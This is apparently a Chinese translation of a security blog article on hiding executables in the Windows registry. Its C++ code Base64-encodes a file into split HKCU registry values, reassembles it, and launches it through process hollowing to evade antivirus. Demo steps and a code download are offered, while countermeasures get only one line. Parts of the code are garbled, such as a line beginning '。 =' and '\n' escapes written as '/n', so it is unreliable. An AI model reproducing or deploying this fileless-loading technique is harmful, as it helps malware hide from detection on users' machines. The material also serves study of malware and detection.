病毒是如何将文件藏进注册表的

      病毒是如何将文件藏进注册表的无评论

本文将介绍一种将可执行文件隐藏在Windows注册表的方法,包括将可执行文件部分或全部藏入注册表,之后再加载执行。攻击者往往未避免在二进制文件中出现恶意代码,把执行恶意功能的代码放在注册表的多个键值中,使得杀毒软件难以检测。这也是常见的恶意软件所采用的方法。

把文件放进注册表

第一节是关于将文件放入注册表中的。我们会介绍如何将一整个文件分割,然后分别写入多个键。之后会介绍怎样获取、拼接、执行这个文件。关于如何将文件存入注册表的方法有很多。注册表有不同的键值类型,能够存储各种类型的数据,包括原始二进制数据,32/64位值,还有字符串。在本例中,文件会经过Base64转码,然后以string (REG_SZ)类型写入。

把数据写入注册表的过程很简单。过程包括使用RegCreateKeyEx函数打开一个已存在的键的句柄,或者新建一个键,之后在调用RegGetValue和RegSetValueEx执行读写操作。以下的示例代码展示的就是这三个步骤:

const HKEY OpenRegistryKey(const char * const strKeyName, const bool bCreate = true)  {      HKEY hKey = nullptr;      DWORD dwResult = 0;         LONG lRet = RegCreateKeyExA(HKEY_CURRENT_USER, strKeyName, 0,          nullptr, 0, KEY_READ | KEY_WRITE | KEY_CREATE_SUB_KEY,          nullptr, &hKey, &dwResult);      if (lRet != ERROR_SUCCESS)      {          fprintf(stderr, "Could not create/open registry key. Error = %X/n",              lRet);          exit(-1);      }         if (bCreate && dwResult == REG_CREATED_NEW_KEY)      {          fprintf(stdout, "Created new registry key./n");      }      else      {          fprintf(stdout, "Opened existing registry key./n");      }         return hKey;  }     void WriteRegistryKeyString(const HKEY hKey, const char * const strValueName,      const BYTE *pBytes, const DWORD dwSize)  {      std::string strEncodedData = base64_encode(pBytes, dwSize);         LONG lRet = RegSetValueExA(hKey, strValueName, 0, REG_SZ, (const BYTE *)strEncodedData.c_str(), strEncodedData.length());      if (lRet != ERROR_SUCCESS)      {          fprintf(stderr, "Could not write registry value. Error = %X/n",              lRet);          exit(-1);      }  }     const std::array<BYTE, READ_WRITE_SIZE> ReadRegistryKeyString(const char * const strKeyName,      const char * const strValueName, bool &bErrorOccured)  {      DWORD dwType = 0;      const DWORD dwMaxReadSize = READ_WRITE_SIZE * 2;      DWORD dwReadSize = dwMaxReadSize;         char strBytesEncoded[READ_WRITE_SIZE * 2] = { 0 };         LONG lRet = RegGetValueA(HKEY_CURRENT_USER, strKeyName, strValueName,          RRF_RT_REG_SZ, &dwType, strBytesEncoded, &dwReadSize);         std::array<BYTE, READ_WRITE_SIZE> pBytes = { 0 };      std::string strDecoded = base64_decode(std::string(strBytesEncoded));      (void)memcpy(pBytes.data(), strDecoded.c_str(), strDecoded.size());         if (lRet != ERROR_SUCCESS)      {          fprintf(stderr, "Could not read registry value. Error = %X/n",              lRet);          bErrorOccured = true;      }      if (dwType != REG_SZ || (dwReadSize == 0 || dwReadSize > dwMaxReadSize))      {          fprintf(stderr, "Did not correctly read back a string from the registry./n");          bErrorOccured = true;      }         return pBytes;  }

 接下来主要就是将文件写入注册表了。还有一些细节问题,比如我们要将文件分割成及部分写入几个键中,这一部分由于篇幅有限就不再详细说明了,以下代码的功能就是把文件分成几部分写入注册表:

void WriteFileToRegistry(const char * const pFilePath)  {      HKEY hKey = OpenRegistryKey("RegistryTest");         std::string strSubName = "Part";      std::string strSizeName = "Size";      size_t ulIndex = 1;         auto splitFile = SplitFile(pFilePath);      for (size_t i = 0; i < splitFile.size(); ++i)      {          std::string strFullName(strSubName + std::to_string(ulIndex));             WriteRegistryKeyString(hKey, strFullName.c_str(), splitFile[i].data(), READ_WRITE_SIZE);          ++ulIndex;      }         CloseHandle(hKey);  }

 示例代码中的键是在HKCU//RegistryTest下。可执行文件会被以2048字节分割,然后经过base64编码,写入名为“Part1″, “Part2″, … “PartN”的值中。一个8KB的文件写入注册表后就会变成这样:

病毒是如何将文件藏进注册表的

Base64解码器就可以快速验证键的内容是否正确,把“Part1”键的内容放到解码器中就可以得到以下结果,里面包含了PE头的内容:

MZ[144][0][3][0][0][0][4][0][0][0][255][255][0][0][184][0][0][0][0][0][0][0]@[0][0][0][0][0][0][0]  [0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][240][0][0][0]  [14][31][186][14][0][180][9][205]![184][1]L[205]!This program cannot be run in DOS mode.[13][13]  [10]$[0][0][0][0][0][0][0][181]!:

现在这个文件已经到注册表里了,文件可以从硬盘上删除。

从注册表获取文件

现在文件已经被分割,存入注册表了。要从注册表获取文件无非就是把第一节的操作反一下——从注册表读取文件片段,用Base64解密,再将这些片段结合起来,代码如下:

NewProcessInfo JoinRegistryToFile(const char * const strKeyName, const char * const strValueName)  {      NewProcessInfo newProcessInfo = { 0 };      std::vector<std::array<BYTE, READ_WRITE_SIZE>> splitFile;         size_t ulKeyIndex = 1;      std::string strFullName(strValueName + std::to_string(ulKeyIndex));         bool bErrorOccured = false;      auto partFile = ReadRegistryKeyString(strKeyName, strFullName.c_str(), bErrorOccured);         while (!bErrorOccured)      {          splitFile.push_back(partFile);             ++ulKeyIndex;          strFullName = strValueName + std::to_string(ulKeyIndex);             partFile = ReadRegistryKeyString(strKeyName, strFullName.c_str(), bErrorOccured);      }         。 = std::unique_ptr<BYTE[]>(new BYTE[splitFile.size() * READ_WRITE_SIZE]);      memset(newProcessInfo.pFileData.get(), 0, splitFile.size() * READ_WRITE_SIZE);         size_t ulWriteIndex = 0;      for (auto &split : splitFile)      {          (void)memcpy(&newProcessInfo.pFileData.get()[ulWriteIndex * READ_WRITE_SIZE], splitFile[ulWriteIndex].data(),              READ_WRITE_SIZE);          ++ulWriteIndex;      }         newProcessInfo.pDosHeader = (IMAGE_DOS_HEADER *)&(newProcessInfo.pFileData.get()[0]);      newProcessInfo.pNtHeaders = (IMAGE_NT_HEADERS *)&(newProcessInfo.pFileData.get()[newProcessInfo.pDosHeader->e_lfanew]);         return newProcessInfo;  }

这里的ReadRegistryKeyString函数,在之前的部分中介绍过,我们调用它来获取注册表中的文件片段。这些文件片段之后就被结合起来,储存在newProcessInfo.pFileData中。有些其他的地方也要初始化,比如PE文件的DOS头和NT头,这在下一节中很重要。

加载获取的文件

现在我们已从注册表中获取了文件,并将它储存在内存的缓冲区。如果直接把获取到的文件内容再写到硬盘上前面的操作就白做了。所以我们要用到的是进程挖空(process hollowing)的方法,以挂起状态启动一个假的进程,然后将其内存unmap。然后,我们把我们从注册表中获取的内容映射到这个进程中,这样就可以执行程序了。示例代码如下:

void ExecuteFileFromRegistry(const char * const pValueName)  {      HKEY hKey = OpenRegistryKey("RegistryTest");         auto newProcessInfo = JoinRegistryToFile("RegistryTest", pValueName);      auto processInfo = MapTargetProcess(newProcessInfo, "DummyProcess.exe");      RunTargetProcess(newProcessInfo, processInfo);         CloseHandle(hKey);  }

MapTargetProcessRunTargetProcess就不在此说明了,我在2011年的一篇博文里提到过,代码很相近。

我想说明的是,只有在“假进程”和替代进程都是x86,并且关闭了DEP/ASLR的情况下,本文所提及的方法才奏效,关于如何让程序支持x64、如何支持开启DEP/ASLR的情况,我会在之后的博文里面教授。

 

这里的DummyProcess.exe(在文末的zip文件中有)就是被“挖空”,然后替换成另一个进程的程序,也就是ReplacementProcess.exe(也附在了文末的zip中)。Zip文件中的Sample文件夹提供了交互的示例,如果想要演示效果,你可以:

运行DummyProcess.exe,你就会观察到那是一个Win32 UI程序  运行write.bat,它会调用FilelessLauncher.exe将ReplacementProcess.exe程序写入HKCU//RegistryTest  删除ReplacementProcess.exe  运行execute.bat,它会调用FilelessLauncher.exe读取HKCU//RegistryTest,然后获取ReplacementProcess.exe,然后它会unmap DummyProcess.exe,然后将ReplacementProcess.exe写入进程。此时ReplacementProcess.exe就会重新运行,你就可以看到一个弹窗。

 

病毒是如何将文件藏进注册表的

记得运行结束后清理一下注册表

应对方法

本文介绍的技巧就是如何把可执行文件隐藏在Windows注册表里。应对的方法有很多,比如我们可以监控注册表,或者检查NtUnmapViewOfSection是否被调用。

代码

VS2015 密码:53kj

GitHub

代码在Windows 7, 8.1和10测试通过。

*参考来源:RCE Endeavors,译/Sphinx,文章有修改,转载请注明来自Freebuf黑客与极客(FreeBuf.COM)

发表评论